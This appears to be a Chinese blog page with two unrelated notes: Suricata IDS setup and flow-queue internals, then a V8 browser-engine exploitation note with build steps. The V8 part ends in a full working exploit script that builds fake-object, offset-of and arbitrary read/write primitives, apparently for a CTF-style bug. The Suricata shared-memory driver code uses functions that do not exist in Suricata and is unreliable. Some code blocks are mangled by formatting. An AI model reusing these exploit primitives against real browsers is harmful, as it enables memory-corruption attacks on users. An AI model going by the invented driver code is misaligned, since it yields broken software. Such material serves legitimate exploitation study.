Suricata通过共享内存获取流量

Introduction

Suricata是一个高性能的网络入侵检测和防御系统(IDS/IPS)。它是由OISF开发,完全开源,并且可以免费使用。https://github.com/OISF/suricata

Suricata由线程和队列组成,数据包在线程间传递通过队列实现。线程由多个线程模块组成,每个线程模块实现一种功能。

Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue, ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap,-r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads, queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,我们可以./suricata –list-runmodes查看运行模式,运行模式又细分为”autofp”, “single”,“wokers”。

Suricata 针对每种运行模式实现了对应的 ThreadVars 数据结构,从而在线程程度上操作数据。对应的数据结构分别位于对应模式的source文件里面,命名为:模式名字+ThreadVars。

共享内存(shared memory)指在多处理器的计算机系统中,可以被不同中央处理器(CPU)访问的大容量内存。由于多个CPU需要快速访问存储器,这样就要对存储器进行缓存(Cache)。任何一个缓存的数据被更新后,由于其他处理器也可能要存取,共享内存就需要立即更新,否则不同的处理器可能用到不同的数据。共享内存是 Unix下的多进程之间的通信方法,这种方法通常用于一个程序的多进程间通信,实际上多个程序间也可以通过共享内存来传递信息。

Suricata安装

  1. 添加 Suricata PPA(个人包档案)并安装 Suricata,添加 OISF(Open Information Security Foundation)的 PPA:

    sudo add-apt-repository ppa:oisf/suricata-stable
    sudo apt update
  2. 安装 Suricata:

    sudo apt install suricata -y
  3. 安装完成后,运行以下命令以验证 Suricata 是否正确安装:

    suricata --build-info

Suricata配置

  1. 创建配置文件的备份,修改之前一定要先备份

    sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
  2. Suricata的可执行文件默认在/usr/bin下,配置文件默认在/etc/suricata下

  3. 可以通过Suricata内置的测试模式检查配置文件和其他规则的有效性

    sudo suricata -T -c /etc/suricata/suricata.yaml -v
  4. 在/etc/suricata/suricata.yaml中可以更改要监控的网络接口

运行前的测试

  1. 以下是我笔记本上的各个网络接口

  2. 这里我用wifi0接口测试能否正常运行

    sudo suricata -c /etc/suricata/suricata.yaml -i eth0

Suricata运行模式

  1. Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue,ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap, -r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads,queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,运行模式又细分为”autofp”, “single”,“wokers”.

IDS(入侵检测系统)模式

  1. 特点:仅检测不阻止。

  2. 数据获取:通常使用 Libpcap 或 AF_PACKET 抓包。

  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 日志/报警。

  4. 优势:简单配置,不影响流量。

  5. 劣势:不能阻止攻击,只能告警。

IPS(入侵防御系统)模式

  1. 特点:检测并阻止。

  2. 数据获取:通常使用 NFQUEUE 或 AF_PACKET 抓包。

  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 阻止/通过流量。

  4. 优势:可以阻止攻击。

  5. 劣势:配置复杂,可能影响网络性能。

流的分配

  1. 当suricata收到一个特定协议(ipv6, icmp, sctp,tcp,udp)的packet后,会计算一个流的hash值,设置PKT_WANTS_FLOW标志。

    void FlowSetupPacket(Packet *p)
    {
        p->flags |= PKT_WANTS_FLOW;
        p->flow_hash = FlowGetHash(p);
    }
  2. FlowWorker会基于PKT_WANTS_FLOW标志,进行流的查找或分配。

    static TmEcode FlowWorker(ThreadVars *tv, Packet *p, void *data, PacketQueue *preq, PacketQueue *unused)
    {
        /* handle Flow */
        if (p->flags & PKT_WANTS_FLOW) {
            FLOWWORKER_PROFILING_START(p, PROFILE_FLOWWORKER_FLOW);
    
            FlowHandlePacket(tv, fw->dtv, p);
            if (likely(p->flow != NULL)) {
                DEBUG_ASSERT_FLOW_LOCKED(p->flow);
                if (FlowUpdate(tv, fw, p) == TM_ECODE_DONE) 
  3. 通过对流进行哈希检索:查找包含流指针的哈希桶

    void FlowHandlePacket(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p)
    {
    ...
        Flow *f = FlowGetFlowFromHash(tv, dtv, p, &p->flow);
    ...
        p->flags |= PKT_HAS_FLOW;
        return;
    }
    
    Flow *FlowGetFlowFromHash(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p, Flow **dest)
    {
        Flow *f = NULL;
    
        /* get our hash bucket and lock it */
        const uint32_t hash = p->flow_hash;
        FlowBucket *fb = &flow_hash[hash % flow_config.hash_size];
        FBLOCK_LOCK(fb);
  4. 如果桶内没有任何流,分配一条新的流

    if (fb->head == NULL) {
          f = FlowGetNew(tv, dtv, p);
          if (f == NULL) {
              FBLOCK_UNLOCK(fb);
              return NULL;
          }
         
          /* flow is locked */
          fb->head = f;
          fb->tail = f;
         
          /* got one, now lock, initialize and return */
          FlowInit(f, p);
          f->flow_hash = hash;
          f->fb = fb;
          FlowUpdateState(f, FLOW_STATE_NEW);
         
          FlowReference(dest, f);
         
          FBLOCK_UNLOCK(fb);
          return f;
      }
  5. 将包与找到的流进行比较

     /* see if this is the flow we are looking for */
        if (FlowCompare(f, p) == 0) {
            Flow *pf = NULL; /* previous flow */
    
            while (f) {
    ...
                if (FlowCompare(f, p) != 0) {
    ...
        return f;
    }

流的队列

spare队列

  1. spare队列存储着备用的、未使用的、预分配的流。

    FlowQueue flow_spare_q;
    FlowQueueInit(&flow_spare_q);

入队

flow_spare_q的入队的操作,主要发生在:

  1. 初始化时的预分配

    void FlowInitConfig(char quiet)
    {
    ...
        /* pre allocate flows */
        for (i = 0; i < flow_config.prealloc; i++) {
    ...
            Flow *f = FlowAlloc();
            if (f == NULL) {
                SCLogError(SC_ERR_FLOW_INIT, "preallocating flow failed: %s", strerror(errno));
                exit(EXIT_FAILURE);
            }
    
            FlowEnqueue(&flow_spare_q,f);
        }
  2. 流管理检查时的补足

    int FlowUpdateSpareFlows(void)
    {
    ...
        if (len < flow_config.prealloc) {
            toalloc = flow_config.prealloc - len;
    
            uint32_t i;
            for (i = 0; i < toalloc; i++) {
                Flow *f = FlowAlloc();
                if (f == NULL)
                    return 0;
    
                FlowEnqueue(&flow_spare_q,f);
            }
  3. 流的回收,即从flow_recycle_qflow_spare_q

    static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
    {
    ...
           while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                    FLOWLOCK_WRLOCK(f);
    
                    (void)OutputFlowLog(th_v, ftd->output_thread_data, f);
    
                    FlowClearMemory (f, f->protomap);
                    FLOWLOCK_UNLOCK(f);
                    FlowMoveToSpare(f);
                    recycled_cnt++;
                }
            }

出队

flow_spare_q的出队的操作,主要发生在:

  1. 流的分配

    static Flow *FlowGetNew(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p)
    {
    ...
        /* get a flow from the spare queue */
        f = FlowDequeue(&flow_spare_q);
    Flow *FlowGetFromFlowKey(FlowKey *key, struct timespec *ttime, const uint32_t hash)
    {
    ...
        /* No existing flow so let's get one new */
        f = FlowDequeue(&flow_spare_q);
    
  2. 释放多余的分配的流

    int FlowUpdateSpareFlows(void)
    {
    ...
        } else if (len > flow_config.prealloc) {
            tofree = len - flow_config.prealloc;
    
            uint32_t i;
            for (i = 0; i < tofree; i++) {
                /* FlowDequeue locks the queue */
                Flow *f = FlowDequeue(&flow_spare_q);
                if (f == NULL)
                    return 1;
    
  3. 进程退出

    void FlowShutdown(void)
    {
    ...
        /* free queues */
        while((f = FlowDequeue(&flow_spare_q))) {
            FlowFree(f);
        }

recycle队列

  1. recycle队列存储着将传递到清理、日志线程的流。

    FlowQueue flow_recycle_q;
    FlowQueueInit(&flow_recycle_q);

入队

flow_recycle_q的入队的操作,主要发生在:

  1. 流超时进行回收

    static uint32_t FlowManagerHashRowTimeout(Flow *f, struct timeval *ts,
    ...
                /* no one is referring to this flow, use_cnt 0, removed from hash
                 * so we can unlock it and pass it to the flow recycler */
                FLOWLOCK_UNLOCK(f);
                FlowEnqueue(&flow_recycle_q, f);
  2. 进程退出时,对流hash桶中的流进行回收处理

    static uint32_t FlowManagerHashRowCleanup(Flow *f)
    {
    ...
            /* no one is referring to this flow, use_cnt 0, removed from hash
             * so we can unlock it and move it to the recycle queue. */
            FLOWLOCK_UNLOCK(f);
    
            FlowEnqueue(&flow_recycle_q, f);

出队

flow_recycle_q的出队的操作,主要发生在:

  1. 流的回收,即从flow_recycle_qflow_spare_q

    static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
    {
    ...
           while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                    FLOWLOCK_WRLOCK(f);
    
                    (void)OutputFlowLog(th_v, ftd->output_thread_data, f);
    
                    FlowClearMemory (f, f->protomap);
                    FLOWLOCK_UNLOCK(f);
                    FlowMoveToSpare(f);
                    recycled_cnt++;
                }
            }
  2. 进程退出

    void FlowShutdown(void)
    {
    ...
        while((f = FlowDequeue(&flow_recycle_q))) {
            FlowFree(f);
        }
    

实现 Suricata 从共享内存中读取流量数据的 demo

添加新抓包驱动

  1. 首先,需要在 Suricata 源代码中添加一个新的抓包驱动。找到 source-af-packet.c 或其他现有抓包驱动文件,作为新驱动实现的模板。

  2. 文件 source-sharedmem.c

    #include "suricata-common.h"
    #include "source.h"
    #include "decode.h"
    #include "util-sharedmem.h"  // 假设我们有一个处理共享内存的工具
    
    // 定义抓包驱动的初始化函数
    int SharedMemInit(ConfNode *conf, const char *device, void **data) {
        // 初始化共享内存
        *data = SharedMemAttach(device);
        if (*data == NULL) {
            return -1;
        }
        return 0;
    }
    
    // 定义抓包驱动的关闭函数
    void SharedMemClose(void *data) {
        // 关闭共享内存
        SharedMemDetach(data);
    }
    
    // 定义抓包驱动的读取函数
    int SharedMemRead(void *data, Packet *p) {
        // 从共享内存中读取数据
        return SharedMemFetch(data, p);
    }
    
    // 定义抓包驱动的配置结构
    CaptureInterface shared_mem_iface = {
        .name = "sharedmem",
        .Init = SharedMemInit,
        .Close = SharedMemClose,
        .Read = SharedMemRead,
    };
    
    // 在 Suricata 初始化时注册抓包驱动
    void TmModuleSharedMemRegister(void) {
        TmModuleRegisterCaptureInterface(&shared_mem_iface);
    }

然后,在 tm-threads.c 文件中注册新的抓包驱动:

extern void TmModuleSharedMemRegister(void);

void TmThreadsRegisterAll(void) {
    // ... 其他抓包驱动注册
    TmModuleSharedMemRegister();
}

添加新的运行模式

  1. 找到 Suricata 源代码中的 runmodes.c 文件,并添加新的运行模式,例如 sharedmem

    #include "runmode-sharedmem.h"
    
    void RunModeRegisterAll(void) {
        // ... 其他运行模式注册
        RunModeRegister("sharedmem", RunModeSharedMemAutoFp);
    }
    
  2. runmode-sharedmem.c 文件中实现新的运行模式:

    #include "suricata-common.h"
    #include "threads.h"
    #include "source.h"
    #include "runmode.h"
    
    void RunModeSharedMemAutoFp(void) {
        // 配置线程和队列
        if (InitAutoFp() < 0) {
            return;
        }
    
        // 创建和启动线程
        TmThreadSpawn(&shared_mem_iface, NULL);
    
        // 处理线程队列
        TmThreadsSlotScheduler();
    }
    

修改 ThreadVars 数据结构

  1. 为新的运行模式创建对应的 ThreadVars 数据结构:

    typedef struct SharedMemThreadVars_ {
        // 定义线程变量
        void *shared_mem;
    } SharedMemThreadVars;
    
  2. runmode-sharedmem.c 文件中使用该数据结构:

    #include "runmode-sharedmem.h"
    
    int InitAutoFp(void) {
        // 初始化线程变量
        SharedMemThreadVars *tv = SCMalloc(sizeof(SharedMemThreadVars));
        if (tv == NULL) {
            return -1;
        }
        // 初始化共享内存
        tv->shared_mem = SharedMemAttach("/path/to/shared_mem");
        if (tv->shared_mem == NULL) {
            return -1;
        }
        return 0;
    }
    

实现从共享内存读取流量数据的 demo

#include <stdio.h>
#include <stdlib.h>
#include "util-sharedmem.h"

int main(void) {
    // 附加到共享内存
    void *shared_mem = SharedMemAttach("/path/to/shared_mem");
    if (shared_mem == NULL) {
        fprintf(stderr, "Failed to attach shared memory\n");
        return -1;
    }

    // 读取数据包
    Packet p;
    while (SharedMemFetch(shared_mem, &p) == 0) {
        // 处理数据包
        ProcessPacket(&p);
    }

    // 分离共享内存
    SharedMemDetach(shared_mem);

    return 0;
}

Pwn-浏览器内核V8

V8环境搭建

编译V8

  1. Ubuntu 18.04操作系统

  2. 下载用于Chromium开发的工具depot_tools,用于V8的编译

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  3. depot_tools 添加到环境变量 PATH 的末尾

    export PATH=$PATH:<path to depot_tools>
  4. 挂好代理,进入到 depot_tools 。直接安装会 ninja 报错需要先将版本回退到 138bff28** 并且将 DEPOT_TOOLS_UPDATE 设为 0 。之后更新 depot_tools

    git reset --hard 138bff28
    export DEPOT_TOOLS_UPDATE=0
    gclient
  5. 下载 v8,这个时间比较长,下载完后目录下会多一个 v8 文件夹。

    fetch v8
  6. 首先安装浏览器然后再网址栏中输入 chrome://version 查看版本,例如:

    112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
  7. 打开 github 的 chrome 项目,搜索版本号并切换至相应版本。

  8. 然后在项目根目录下的 DEPS 文件中查看 V8 版本:

  9. 编译 v8 ,这里选的 release 版本。debug 版本改为 x64.debug ,32 为版本将 x64 改为 ia32 。如果调试漏洞的话, 最好选择 release 版本 因为 debug 版本可能会有很多检查。

  10. 另外如果出现路径错误需要切换到 ./tools/dev/ 路径再进行编译。不过这样编译最终生成的 d8tools/dev/out/x64.release 目录下。

  11. 编译生成的 d8./out/x64.release/d8 中。

调试V8

  1. ~/.gdbinit 添加 v8 的调试插件:

    source` `/path/to/v8/tools/gdbinit
    source` `/path/to/v8/tools/gdb-v8-support``.py
  2. 常见参数:

    • --allow-natives-syntax 开启原生API (用的比较多)
    • --trace-turbo 跟踪生成TurboFan IR
    • --print-bytecode 打印生成的bytecode
    • --shell 运行脚本后切入交互模式
    • 更多参数可以参考 --help
  3. 调试 js 脚本时可以采用如下命令:

    gdb ./d8
    r --allow-natives-syntax --shell ./exp.js

安装 turbolizer

  1. turbolizer 是一个可视化分析 JS 优化的工具,安装命令如下:

    sudo apt install npm
    cd /path/to/v8/tools/turbolizer
    sudo npm install n -g
    sudo n 16.20.0 # sudo n latest
    sudo npm i
    sudo npm run-script build
  2. 由于 Ubuntu18.04 默认的 node 版本过低,需要安装 16.20.0 版本

  3. 最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口

    python -m SimpleHTTPServer 8000
  4. 编写一个 js 脚本:
    %OptimizeFunctionOnNextCall 内置函数可以直接触发强行触发优化。

    function add(a, b) {
        return a + b;
    }
     
    //%OptimizeFunctionOnNextCall(add);
    for (let i = 0; i < 10000000; i++) {
        add(i, i + 1);
    }
  5. 运行 js 脚本并使用 --trace-turbo 参数

    .``/d8` `--trace-turbo --allow-natives-syntax .``/test``.js
  6. 此时会生成如下文件:

  7. 在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。

任意地址对象伪造漏洞复现

  1. 如果存在任意地址对象伪造漏洞(fake_object 原语),则我们可以在一个大的 DoubleArray 中伪造一个 DoubleArray 然后实现 offset_ofarbitrary_offset_readarbitrary_offset_write 原语。首先我们先创建一个大的 DoubleArray 并在里面伪造一个 DoubleArray

  2. 这里需要注意的是:通过调试可知,我们只需要伪造 map 的前 16 字节即可。而 map 的前 16 字节基本是不变的。

    let spray_array = new Array(0xf700).fill(1.1);
    let spray_array_data_offset = 0x00202141n + 7n;  // spray_array 的 element 中成员的起始地址
    let map_offset = spray_array_data_offset + 0x1000n;  // 伪造的 map 在沙箱中的偏移
    let fake_double_array_offset = map_offset + 0x1000n;  // 伪造的 fake_double_array 在沙箱中的偏移
     
    // 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
    spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
    spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an);
     
    // fake_double_array 的 map 指针指向伪造的 map
    spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));
     
    // 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
    let fake_double_array = trigger(fake_double_array_offset | 1n);
    1. offset_of 原语实现:我们只需要再申请一个大的 ObjectArray(我们称之为 spray_object_array)然后让伪造的 DoubleArrayelements 指针指向 spray_object_arrayelementselements 在沙箱内偏移固定)造成类型混淆。

    2.   let spray_object_array = ``new` `Array(0xf700).fill({});
        let object_array_element_offset = 0x00282141n;
        
      
                 
      
      function` `offset_of(object) { ``// 将 object 添加到 spray_object_array 的 elements 中 ``spray_object_array[0] = object; ``// fake_double_array 的 elements 指针指向 spray_object_array 的 elements ``spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n)); ``// 从 fake_double_array 读出 object 在沙箱中的偏移 ``return` `d2u(fake_double_array[0]) & 0xFFFFFFFFn; }
      
      8.   `arbitrary_offset_read` 和 `arbitrary_offset_write` 原语实现:直接通过 `apray_array` 修改 `elements` 然后读写 `fake_double_array` 实现。
      
      9.   ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20240713212409.png)
      
      function arbitrary_offset_read(address) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]); } function arbitrary_offset_write(address, value) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); fake_double_array[0] = u2d(value);
      
      10.   完整exp
      
      let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer); function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); } function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); } function hex(val) { return '0x' + val.toString(16).padStart(16, "0"); } let oob_array = [.1]; let object_array = [{}]; let double_array = [.1]; let rw_array = [.1]; oob_array.len(0x1337); let object_array_map = d2u(oob_array[8]); let double_array_map = d2u(oob_array[12]); console.log("[*] object array map: " + hex(object_array_map & 0xFFFFFFFFn)); console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn)); function trigger(offset) { oob_array[12] = u2d(double_array_map); double_array[0] = u2d(offset); oob_array[12] = u2d((object_array_map & 0xFFFFFFFFn) | (double_array_map & 0xFFFFFFFF00000000n)); return double_array[0]; } let spray_array = new Array(0xf700).fill(1.1); let spray_array_data_offset = 0x00202141n + 7n; let map_offset = spray_array_data_offset + 0x1000n; let fake_double_array_offset = map_offset + 0x1000n; spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n); spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an); spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));; let fake_double_array = trigger(fake_double_array_offset | 1n); let spray_object_array = new Array(0xf700).fill({}); let object_array_element_offset = 0x00282141n; function offset_of(object) { spray_object_array[0] = object; spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]) & 0xFFFFFFFFn; } function arbitrary_offset_read(address) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]); } function arbitrary_offset_write(address, value) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); fake_double_array[0] = u2d(value); } let a = [1, 2, 3, 4]; % DebugPrint(a); arbitrary_offset_write(offset_of(a), 0xdeadbeefn); // % DebugPrint(oob_array); // console.log(hex(offset_of(oob_array))); % SystemBreak();